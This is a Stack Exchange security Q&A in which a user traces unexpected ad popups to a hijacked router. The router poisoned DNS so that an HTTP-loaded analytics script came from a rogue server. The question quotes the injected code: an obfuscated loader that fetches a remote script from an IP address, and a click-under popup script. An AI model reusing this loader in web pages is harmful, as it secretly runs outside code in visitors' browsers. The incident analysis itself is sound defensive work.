Stack Exchange's javascript is malicious

Question

I have, recently, discovered a rather annoying problem: every first-click I have on any Stack Exchange site creates an advertisement popup. This happens on my desktop, laptop, phone and even a VM. I concluded this is Stack Exchange's new ad feature and complained on meta.stackexchange......until I found out I was the only person affected by this.

Unwilling to believe that I have been so careless to allow a virus onto my computer (and for the ego of claiming to be a "security expert" at my company), I went on to investigate the root cause. I observed:

1. This only affects Stack Exchange sites.
2. This is reproducible on 4 devices: desktop, laptop, phone and VM.
3. The problem does not happen if I browse https.

These led me to think this is a network problem: someone injected malicious JavaScript somewhere into the HTML document while it is being transported as clear text on HTTP. After around 30 minutes of network traffic capturing and analysis, I found that this portion of code at the bottom of any Stack Exchange page:

        (function () {
        var ssl='https:'==document.location.protocol,
            s=document.getElementsByTagName('script')[0],
            qc=document.createElement('script');
            qc.async = true;
            qc.src = (ssl ? 'https://secure' : 'http://edge') + '.quantserve.com/quant.js';
            s.parentNode.insertBefore(qc, s);
            _qevents.push({ qacct: "p-c1rF4kxgLUzNc" });
                        var sc=document.createElement('script');
            sc.async=true;
            sc.src=(ssl?'https://sb':'http://b') + '.scorecardresearch.com/beacon.js';
            s.parentNode.insertBefore(sc, s);
            _comscore.push({ c1: "2", c2: "17440561" });
    })();

initiates the loading of malicious JavaScript onto my browser.

If beacon.js is loaded via HTTPS, it is a fine one-line minified JavaScript. But if it is loaded via HTTP, a second line is added:

!function(){var e=function(){if(document&&document.body&&document.body.appendChild){var e="getElementById";if("undefined"==typeof window[e]&&-1==document.cookie.indexOf(e)){var n=new Date;n.setTime(n.getTime()),document.cookie=e+"=1; expires="+new Date(n.getTime()+864e5).toGMTString()+"; path=/;";var t=document.createElement("script");t.src=decodeURIComponent("%68%74%74%70%3a%2f%2f%31%30%33%2e%31%36%2e%32%33%30%2e%31%36%35%2f%73%74%61%74%73%2f%58%43%51%36%37"),document.body.appendChild(t);window[e]=1;}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",e),e()}();

Which is an obfuscated way of loading http://103.16.230.165/stats/XCQ67, which contains:

function PopShow3(){if(!check){check=!0;var e=navigator.cookieEnabled,o="http://onclickads.net/afu.php?zoneid=658311";if(e&&(clickUnderCookie=GetCookie("clickunder"),null===clickUnderCookie||clickUnderCookiec;){var t=c+n;if(document.cookie.substring(c,t)==o)return getCookieVal(t);if(c=document.cookie.indexOf(" ",c)+1,0==c)break}return null}function SetCookie(e,o){var n=SetCookie.arguments,i=SetCookie.arguments.length,c=i>2?n[2]:null,t=i>3?n[3]:null,r=i>4?n[4]:null,u=i>5?n[5]:!1;document.cookie=e+"="+escape(o)+(null==c?"":"; expires="+c.toGMTString())+(null==t?"":"; path="+t)+(null==r?"":"; domain="+r)+(1==u?"; secure":"")}function getCookieVal(e){var o=document.cookie.indexOf(";",e);return-1==o&&(o=document.cookie.length),unescape(document.cookie.substring(e,o))}count=parseInt(3),check=!1;document.onmouseup=PopShow3;

Now, no wonder I was seeing ads.

---

Question is the implication of this finding. I see a few possibilities here:

1. Somebody near my network is sniffing HTTP packets and injecting malicious content into them. I should switch everything to HTTPS whenever possible (I never enter credentials or credit card numbers on HTTP, but I should take this a step further)
2. My ASUS router has been infected. (A sensible virus author would infect all pages I visit, not just a particular site)
3. There is an infected device on my intranet. (I shut off everything and tested one device at a time, it still happens, so the only possibility is the router.)
4. scorecardresearch.com uses geo-cast to speed up their network. One of their host servers is infected. (which would explain why not everybody sees it)
5. scorecardresearch.com is malicious. Somehow Stack Exchange's servers (or network) are infected; Stack Exchange never meant to include scorecardresearch.com in their scripts.

For the moment I have blocked scorecardresearch.com.

My best guess (4): one of scorecardresearch.com's servers is infected. However the consequences of (1) is severe. It would also explain why not everybody is affected. How can I further distinguish (1) and (4)?

Are there anything I have missed, or should have done to protect myself?

Answer 1

Thanks Alexandar O'Mara for pointing me in the right direction - it was a small tip, but it got me there.

I ran nslookup with the domains and got:

C:\Users\xxx>nslookup scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Name:    scorecardresearch.com
Address:  103.16.230.165

C:\Users\xxx>nslookup sb.scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Non-authoritative answer:
Name:    e2799.e7.akamaiedge.net
Address:  23.198.112.87
Aliases:  sb.scorecardresearch.com
          sb.scorecardresearch.com.edgekey.net

Note the returned address is exactly the same as the address hosting malicious content. DNS poisoning.

How can that be? Someone must be having fun advertising their fake DNS servers on the network nearby. Nope, I re-checked my router settings and got:

I had noted that "VPN server" and "access admin from WAN" features were both enabled on the router, just hours earlier when I wrote the question. I disabled them without raising suspicion, thinking I must have enabled it some time and forgot about it. Now I know why.

Case is closed (=

Lessons learned:

1. Never enable the router's admin panel to access from the internet. There're bots out there that will scan the network and brute force their way in even if you have a strong password.
2. DNS poisoning can be used to inject malicious content into HTTP stream without the user knowing. (I was lucky this is an ad, which is observable and obvious, not a Trojan or some other harmful content)
3. SSL is a good way to guard against DNS poisoning.